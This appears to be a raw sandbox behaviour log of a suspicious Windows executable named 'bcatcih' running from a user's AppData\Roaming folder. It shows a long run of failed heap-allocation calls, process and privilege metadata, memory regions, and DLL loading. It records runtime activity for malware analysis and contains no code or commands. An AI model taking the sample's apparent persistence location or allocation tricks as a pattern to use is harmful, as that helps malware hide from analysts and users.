0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.788] GetProcessHeap () returned 0xad0000 [0270.788] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.789] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.789] GetProcessHeap () returned 0xad0000 [0270.790] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.790] GetProcessHeap () returned 0xad0000 [0270.790] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.790] GetProcessHeap () returned 0xad0000 [0270.790] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.790] GetProcessHeap () returned 0xad0000 [0270.790] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.790] GetProcessHeap () returned 0xad0000 [0270.790] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.790] GetProcessHeap () returned 0xad0000 [0270.790] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.790] GetProcessHeap () returned 0xad0000 [0270.790] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.790] GetProcessHeap () returned 0xad0000 [0270.790] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.790] GetProcessHeap () returned 0xad0000 [0270.790] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.790] GetProcessHeap () returned 0xad0000 [0270.790] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.790] GetProcessHeap () returned 0xad0000 [0270.790] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.790] GetProcessHeap () returned 0xad0000 [0270.790] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.790] GetProcessHeap () returned 0xad0000 [0270.790] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.790] GetProcessHeap () returned 0xad0000 [0270.791] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.791] GetProcessHeap () returned 0xad0000 [0270.791] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.791] GetProcessHeap () returned 0xad0000 [0270.791] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.791] GetProcessHeap () returned 0xad0000 [0270.791] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.791] GetProcessHeap () returned 0xad0000 [0270.791] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.791] GetProcessHeap () returned 0xad0000 [0270.791] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.791] GetProcessHeap () returned 0xad0000 [0270.791] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.791] GetProcessHeap () returned 0xad0000 [0270.791] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.791] GetProcessHeap () returned 0xad0000 [0270.791] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.791] GetProcessHeap () returned 0xad0000 [0270.791] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.791] GetProcessHeap () returned 0xad0000 [0270.791] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.791] GetProcessHeap () returned 0xad0000 [0270.791] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.791] GetProcessHeap () returned 0xad0000 [0270.791] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.791] GetProcessHeap () returned 0xad0000 [0270.791] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.792] GetProcessHeap () returned 0xad0000 [0270.792] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.792] GetProcessHeap () returned 0xad0000 [0270.792] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.792] GetProcessHeap () returned 0xad0000 [0270.792] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.792] GetProcessHeap () returned 0xad0000 [0270.792] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.792] GetProcessHeap () returned 0xad0000 [0270.792] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.792] GetProcessHeap () returned 0xad0000 [0270.792] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.792] GetProcessHeap () returned 0xad0000 [0270.792] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.792] GetProcessHeap () returned 0xad0000 [0270.792] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.792] GetProcessHeap () returned 0xad0000 [0270.792] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.792] GetProcessHeap () returned 0xad0000 [0270.792] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.792] GetProcessHeap () returned 0xad0000 [0270.792] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.792] GetProcessHeap () returned 0xad0000 [0270.792] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.792] GetProcessHeap () returned 0xad0000 [0270.792] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.792] GetProcessHeap () returned 0xad0000 [0270.793] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.793] GetProcessHeap () returned 0xad0000 [0270.793] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.793] GetProcessHeap () returned 0xad0000 [0270.793] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.793] GetProcessHeap () returned 0xad0000 [0270.793] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.793] GetProcessHeap () returned 0xad0000 [0270.793] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.793] GetProcessHeap () returned 0xad0000 [0270.793] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.793] GetProcessHeap () returned 0xad0000 [0270.793] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.793] GetProcessHeap () returned 0xad0000 [0270.793] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.793] GetProcessHeap () returned 0xad0000 [0270.793] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.793] GetProcessHeap () returned 0xad0000 [0270.793] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.793] GetProcessHeap () returned 0xad0000 [0270.793] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.793] GetProcessHeap () returned 0xad0000 [0270.793] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.793] GetProcessHeap () returned 0xad0000 [0270.793] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.793] GetProcessHeap () returned 0xad0000 [0270.793] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.794] GetProcessHeap () returned 0xad0000 [0270.794] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.794] GetProcessHeap () returned 0xad0000 [0270.794] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.794] GetProcessHeap () returned 0xad0000 [0270.794] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.794] GetProcessHeap () returned 0xad0000 [0270.794] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.794] GetProcessHeap () returned 0xad0000 [0270.794] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.794] GetProcessHeap () returned 0xad0000 [0270.794] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.794] GetProcessHeap () returned 0xad0000 [0270.794] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.794] GetProcessHeap () returned 0xad0000 [0270.794] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.794] GetProcessHeap () returned 0xad0000 [0270.794] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.794] GetProcessHeap () returned 0xad0000 [0270.794] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.794] GetProcessHeap () returned 0xad0000 [0270.794] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.794] GetProcessHeap () returned 0xad0000 [0270.794] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.794] GetProcessHeap () returned 0xad0000 [0270.794] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.794] GetProcessHeap () returned 0xad0000 [0270.794] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.795] GetProcessHeap () returned 0xad0000 [0270.795] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.795] GetProcessHeap () returned 0xad0000 [0270.795] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.795] GetProcessHeap () returned 0xad0000 [0270.795] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.795] GetProcessHeap () returned 0xad0000 [0270.795] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.795] GetProcessHeap () returned 0xad0000 [0270.795] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.795] GetProcessHeap () returned 0xad0000 [0270.795] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.795] GetProcessHeap () returned 0xad0000 [0270.795] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.795] GetProcessHeap () returned 0xad0000 [0270.795] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.795] GetProcessHeap () returned 0xad0000 [0270.795] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.795] GetProcessHeap () returned 0xad0000 [0270.795] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.795] GetProcessHeap () returned 0xad0000 [0270.795] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.795] GetProcessHeap () returned 0xad0000 [0270.795] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.795] GetProcessHeap () returned 0xad0000 [0270.795] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.795] GetProcessHeap () returned 0xad0000 [0270.795] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.796] GetProcessHeap () returned 0xad0000 [0270.796] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.796] GetProcessHeap () returned 0xad0000 [0270.796] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.796] GetProcessHeap () returned 0xad0000 [0270.796] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.796] GetProcessHeap () returned 0xad0000 [0270.796] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.796] GetProcessHeap () returned 0xad0000 [0270.796] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.796] GetProcessHeap () returned 0xad0000 [0270.796] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.796] GetProcessHeap () returned 0xad0000 [0270.796] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.796] GetProcessHeap () returned 0xad0000 [0270.796] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.796] GetProcessHeap () returned 0xad0000 [0270.796] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 Process: id = "10" image_name = "bcatcih" filename = "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih" page_root = "0x3cc7c000" os_pid = "0x111c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xcb0" cmd_line = "C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 16528 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 16529 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 16530 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 16531 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 16532 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 16533 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 16534 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 16535 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 16536 start_va = 0x400000 end_va = 0x24affff monitored = 1 entry_point = 0x416767 region_type = mapped_file name = "bcatcih" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih") Region: id = 16537 start_va = 0x771d0000 end_va = 0x7734afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 16538 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 16539 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 16540 start_va = 0x7fff0000 end_va = 0x7ffa1676ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 16541 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 16542 start_va = 0x7ffa16931000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffa16931000" filename = "" Region: id = 18705 start_va = 0x400000 end_va = 0x408fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 18706 start_va = 0x1c0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 18707 start_va = 0x640d0000 end_va = 0x6411ffff monitored = 0 entry_point = 0x640e8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 18708 start_va = 0x64050000 end_va = 0x640c9fff monitored = 0 entry_point = 0x64063290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 18709 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 18710 start_va = 0x64120000 end_va = 0x64127fff monitored = 0 entry_point = 0x641217c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 19749 start_va = 0x410000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 19750 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 19751 start_va = 0x76910000 end_va = 0x76a8dfff monitored = 0 entry_point = 0x769c1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 19752 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 19753 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 19754 start_va = 0x490000 end_va = 0x54dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 20513 start_va = 0x743d0000 end_va = 0x74516fff monitored = 0 entry_point = 0x743e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 20514 start_va = 0x74ab0000 end_va = 0x74bfefff monitored = 0 entry_point = 0x74b66820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 20515 start_va = 0x410000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 20516 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 20517 start_va = 0x550000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 20518 start_va = 0x450000 end_va = 0x479fff monitored = 0 entry_point = 0x455680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 20519 start_va = 0x650000 end_va = 0x7d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 20520 start_va = 0x741b0000 end_va = 0x741dafff monitored = 0 entry_point = 0x741b5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Thread: id = 177 os_tid = 0x678 [0300.020] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="kernel32" | out: DestinationString="kernel32") [0300.020] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="kernel32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x76720000) returned 0x0 [0300.020] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="user32" | out: DestinationString="user32") [0300.020] LdrLoadDll (SearchPath=0x0, LoadFlags=0x0, Name="user32", BaseAddress=0x19ff54)